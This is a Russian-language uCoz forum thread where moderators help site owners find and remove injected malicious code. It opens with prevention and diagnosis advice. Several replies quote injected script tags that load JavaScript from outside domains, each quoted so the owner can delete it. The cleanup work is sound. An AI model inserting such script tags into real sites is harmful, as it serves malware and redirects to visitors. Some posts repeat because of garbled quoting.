Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (предотвращение, диагностика)
Вирусы на сайтах
Модератор форума
Сообщение # 1 | 22:08:04 21 Июн 2010
Как предотвратить попадание вредоносных ссылок на сайт

  • Первое и самое главное - это запрещать использование у вас на сайте HTML тегов для всех групп пользователей, кроме администратора.

  • Запретить BB коды в чате всем группам пользователей, запрещать использование BB-коды [url]и [img], так же можно запретить использование BB кодов в гостевой и комментариях.

  • В комментариях, гостевой книге, на форуме и в мини-чате запрещать функцию Автоматически делать ссылками www и email адреса

  • Всегда помнить, что тег iframe считается потенциально опасным, и быть очень осторожным при вставке партнерок и рекламных блоков через iframe. На юкозе используются два ифрейма: это рекламный баннер и мини-чат. Это безопасные ифреймы.

  • Очень осторожно выбирать баннерные сети партнерки с рекламными блоками на сайт.




Диагностика

  • Если случилось так, что ваш антивирус или антивирусы ваших пользователей "реагируют" на ваш сайт, а так же если браузер Mozilla Firefox ставит заглушку-предупреждение на ваш сайт, а Google в выдаче метит ваш сайт, как тот, который может нанести вред вашему компьютеру, а вебмастер Яндекса высылает вам предупреждение о том, что ваш сайт заражён...
    В первую очередь нужно ознакомиться с аллертами антивируса. Большинство антивирусов выдают достаточно полную информацию о блокировке того или иного объекта на сайте, так же заглушка Firefox-а и вебмастер Google и Яндекса имеют описания вредоносного кода обнаруженного у вас на сайтеБывает так, что ваш сайт не заражен, а мог быть заражен сайт, который крутится у вас в рекламе (чаще всего такое случается с баннерными сетями или партнерками по обмену трафиком ), тем не менее вы можете получить аллерт антивируса. Сложность диагностики таких аллертов состоит в том, что баннеры и сайты подгружаемые кодом подобных партнерок могут постоянно меняться. Если вредоносный код обнаруживается у вас на сайте, тогда поисковики могут наложить фильтр на ваш сайт. Выглядит это так, что в выдаче под ссылкой на ваш сайт будет предупреждение о том, что сайт может нанести вред вашему компьютеру, а браузер Mozilla Firefox или Google Chrome или Opera будет при этом выдавать заглушку - предупреждение. В этом случае даже если сайт будет полностью очищен от вредоносного кода такие фильтры и заглушки могут висеть ещё очень долго. Чем быстрее будет очищен сайт - тем быстрее будет снят фильтр, а так же заглушки с браузеров
  • Если ваш сёрфинг по интернету сопровождается постоянной навязчивой рекламой, если вы на многих сайтах видите одну и ту же рекламу и видите её только вы (другие пользователи не наблюдают подобных отклонений), если вы пишете сообщения на форумах, чатах, гостевых и т.д и в ваши сообщения встраиваются посторонние ссылки или рекламные объявления, то есть если у вас сходные отклонения не на одном, а на целой серии различных сайтов, то стоит очистить свой компьютер от вирусов.
  • Если вдруг у вас на сайте появилось всплывающее окно, что-то на подобии формы входа, где нужно ввести логин и пароль, то естественно свои данные вводить не стоит, а стоит присмотреться к всплывающему окну, а именно к его адресу или заголовку. Адрес или заголовок такого окна всегда отличен от адреса и заголовка вашего сайта.
    Для поиска транслятора всплывающего окна нужно проверить все модули, где у вас разрешен BB код для пользователей. Чаще всего подобное подсаживают через мини-чат с разрешенными BB-кодами в нем. Ваша задача найти инородную картинку (чаще всего смайлик)


Правила подачи заявки на диагностику и поиск вредоносного кода на сайте

  • Вы должны предоставить ссылку на сайт!

  • Вы должны дать описание проблемы:

    1) на какой странице сайта обнаруживается проблема (ссылка)

    2) проблема обнаруживается только под логином или под гостем тоже

    3) если реагирует антивирус, то назовите свой антивирус, и предоставьте текст или четкий скриншот блокировки

    4) если сайт блокируется браузером, то назовите свой браузер и предоставьте текст блокировки


    Полезные ссылки:


    Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:


    webanet
    Сообщений: 24067
    Репутация: 4985

    Сообщение # 796 | 22:29:36 25 Ноя 2013
    sashko8291, у вас проблема с рекламой гугла или вы насмотрелись результатов онлайн проверок? скрин сообщения адсенса о том, что сайт заражен

    снять баннер - это значит оплатить снятие системного баннера
    ТУТ можно оставить своё мнение по любому вопросу
    https://webanetlabs.net/
    sashko8291
    Сообщений: 15
    Репутация: 0

    Сообщение # 797 | 23:21:55 25 Ноя 2013
    у меня проблема с рекламой гугла - adwords прекратил показ моих обявлений поскольку считает что у меня на сайте вредоносное прог.обесп.
    sashko8291
    Сообщений: 15
    Репутация: 0

    Сообщение # 798 | 10:07:12 26 Ноя 2013
    скрин
    Прикрепления: 7801599.jpg (119.8 Kb)
    AdminBatterflai
    Сообщений: 3
    Репутация: 4

    Сообщение # 799 | 15:46:40 26 Ноя 2013
    Здравствуйте! Зашла на сайт и в ужасе,меня с моего сайта переправляют на http://android-igru.biz/in.php?....0000000 ЧТО ДЕЛАТЬ? ПОМОГИТЕ!!!!!!!!!!!!!!!!! И ЗАПАРИЛА ВСПЛЫВАЮЩАЯ РЕКЛАМА,,,,,, Адрес сайта моего http://belkreativ.ucoz.ru
    admin6532
    Репутация: 0

    Сообщение # 800 | 16:46:20 26 Ноя 2013
    Приветствую! Такая проблема произошла! В меню сайта перестала работать главная страница! При нажатии в новом окне написана ошибка 404 буду благодарен Вашей помощи http://www.xrum-xrum.ru

    Добавлено (26 Ноя 2013, 16:46:20)
    ---------------------------------------------
    Приветствую! Такая проблема произошла! В меню сайта перестала работать главная страница! При нажатии в новом окне написана ошибка 404 буду благодарен Вашей помощи http://www.xrum-xrum.ru

    сondor
    Сообщений: 4661
    Репутация: 1528

    Сообщение # 801 | 17:18:00 26 Ноя 2013
    AdminBatterflai, всюду в шаблонах убираем вот эту каку:

    Код
    <script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
    <script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
    webanet
    Сообщений: 24067
    Репутация: 4985

    Сообщение # 802 | 17:43:51 26 Ноя 2013
    AdminBatterflai, после очистки обязательно смените пароли. читайте тут //forum.ucoz.ru/forum/45-57475-1
    ТУТ можно оставить своё мнение по любому вопросу
    https://webanetlabs.net/
    webanet
    Сообщений: 24067
    Репутация: 4985

    Сообщение # 803 | 17:49:36 26 Ноя 2013
    admin6532, в первую очередь вы должны очистить сайт от вредоносного кода

    Код
    <script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
    удалить из кнопки вверх. сам скрипт кнопки вверх перелить на сайт и не транслировать его с чужого

    Код
    <script src="http://ili.pp.ua/js_css/scrol.js" type="text/javascript"></script>


    из кода ваших часов удалить вредоносный скрипт

    Код
    <script src="http://adoit.pw/border.js" type="text/javascript"></script>


    из вашего радио удалите вредоносный код

    Код
    <script src="http://bunnas.ru/images.js" type="text/javascript"></script>


    по вопросу

    откройте панель управления - конструктор меню - откройте меню на редактирование и верхнюю строчку главная страница замените адрес этот

    Код
    / google-site-verification: googleebbbb934da45a6f4.html


    на этот

    Код
    http://www.xrum-xrum.ru/


    после изменений сохраните изменения в меню.

    удалите с сайта эту дебильную музыку на полную громкость и не собирайте скрипты из открытых источников, особенно если вообще не понимаете что собираете
    ТУТ можно оставить своё мнение по любому вопросу
    https://webanetlabs.net/
    AdminBatterflai
    Сообщений: 3
    Репутация: 4

    Сообщение # 804 | 22:22:55 26 Ноя 2013
    Большое спасибо за подсказку))) yes
    sashko8291
    Сообщений: 15
    Репутация: 0

    Сообщение # 805 | 13:03:38 28 Ноя 2013
    Сообщение # 799 | 22:29:36 25 Ноя 2013sashko8291, у вас проблема с рекламой гугла или вы насмотрелись результатов онлайн проверок? скрин сообщения адсенса о том, что сайт заражен

    снять баннер - это значит оплатить снятие системного баннера
    IE это такая программа, с помощью которой можно зайти на сайт www.mozilla,com и скачать себе браузер...
    http://webanet.ucoz.ru/
    спасибо цитировать профиль ЛС сайт
    sashko8291

    Сообщений: 11
    Репутация: 0

    Сообщение # 800 | 23:21:55 25 Ноя 2013
    у меня проблема с рекламой гугла - adwords прекратил показ моих обявлений поскольку считает что у меня на сайте вредоносное прог.обесп.
    цитировать профиль
    sashko8291

    Сообщений: 11
    Репутация: 0

    Сообщение # 801 | 10:07:12 26 Ноя 2013
    скрин
    Прикрепления: 7801599.jpg(120Kb)
    Цитата sashko8291 ()
    Сообщение # 799 | 22:29:36 25 Ноя 2013sashko8291, у вас проблема с рекламой гугла или вы насмотрелись результатов онлайн проверок? скрин сообщения адсенса о том, что сайт заражен

    снять баннер - это значит оплатить снятие системного баннера
    IE это такая программа, с помощью которой можно зайти на сайт www.mozilla,com и скачать себе браузер...
    http://webanet.ucoz.ru/
    спасибо цитировать профиль ЛС сайт
    sashko8291

    Сообщений: 11
    Репутация: 0

    Сообщение # 800 | 23:21:55 25 Ноя 2013
    у меня проблема с рекламой гугла - adwords прекратил показ моих обявлений поскольку считает что у меня на сайте вредоносное прог.обесп.
    цитировать профиль
    sashko8291

    Сообщений: 11
    Репутация: 0

    Сообщение # 801 | 10:07:12 26 Ноя 2013
    скрин
    Прикрепления: 7801599.jpg(120Kb)
    повторный запрос на adwords сделал - поскольку ссылка на onclickads.net все еще на моем сайте и через этот сайт (onclickads.net) ''происходила загрузка и установка вредоносного ПО'' - adwords все еще блокирует показ моих обявлений. платить за снятие системного баннера считаю ненормальным выходом.
    прошу оперативно предпринять необходимые меры: либо размещайте чистые ссылки, либо не размещайте вовсе!!!
    Batyanya
    Сообщений: 35
    Репутация: 3
    Уровень замечаний:

    Сообщение # 806 | 13:01:11 29 Ноя 2013
    Здравствуйте. Пожалуйста,
    помогите справиться с моей проблемой. Адрес моего сайта http://mymuzon.ucoz.ru/ Резко теряю посетителей на сайте. Пользователи не могут войти на сайт. Яндексблокирует сайт. На http://webmaster.yandex.ru/ вердикт: Поведенческийанализ и mobile_redirect
    Проверял сайт https://www.virustotal.com
    http://mepic.ru/view/?id=712c380ee5491bd7f5a932c2da4984cc
    http://mepic.ru/view/?id=306232a3c9b008795d53aa5df3cfb9ec

    Потом http://antivirus-alarm.ru
    http://mepic.ru/view/?id=4cfdf590d25ca4d9729445e9a8930a26

    Прошу помощи по очистке сайта от вредоносногокода
    $Vladimir$
    Сообщений: 7465
    Репутация: 1053

    Сообщение # 807 | 13:09:08 29 Ноя 2013
    Batyanya, смените пароль для uID аккаунта. Через панель управления http://mymuzon.ucoz.ru/admin удаляйте сторонние скрипты

    Код
    <script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/60gzd6bhul66xr42lh9hxwv7w4ihtud'></script>


    Код
    <script language="JavaScript" src="http://mobilesniffer.ru/?id=199284"></script>


    Используйте быструю замену участка HTML кода
    Batyanya
    Сообщений: 35
    Репутация: 3
    Уровень замечаний:

    Сообщение # 808 | 13:48:33 29 Ноя 2013
    Цитата $Vladimir$ ()
    Через панель управления http://mymuzon.ucoz.ru/admin удаляйте сторонние скрипты
    Как их найти?
    Цитата $Vladimir$ ()
    Используйте быструю замену участка HTML кода
    Как?
    webanet
    Сообщений: 24067
    Репутация: 4985

    Сообщение # 809 | 13:53:20 29 Ноя 2013
    Batyanya, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

    Код
    <script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/60gzd6bhul66xr42lh9hxwv7w4ihtud'></script>
    поле на что заменить оставляете пустым и производите замену во всех модулях. тоже самое делаете со вторым скриптом. после очистки обязательно меняете пароль uid профиля, которым администрируете сайт. эту тему читать обязательно несколько раз //forum.ucoz.ru/forum/45-57475-1
    ТУТ можно оставить своё мнение по любому вопросу
    https://webanetlabs.net/
    Batyanya
    Сообщений: 35
    Репутация: 3
    Уровень замечаний:

    Сообщение # 810 | 14:29:42 29 Ноя 2013
    Добавлено (29 Ноя 2013, 14:10:52)
    ---------------------------------------------
    Быструю замену сделал и пароль сменил. Теперь попробую отправить сайт яндексу на перепроверку на http://webmaster.yandex.ru

    Добавлено (29 Ноя 2013, 14:29:42)
    ---------------------------------------------
    Вроде и скрипты убрал, а на https://www.virustotal.comвсё равно:
    BitDefender - - Malware
    site
    А на http://antivirus-alarm.ru–
    Norman Iframe.WC
    Но всё равно придётся ждать ответа от яндекса

    Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (предотвращение, диагностика)
    Поиск: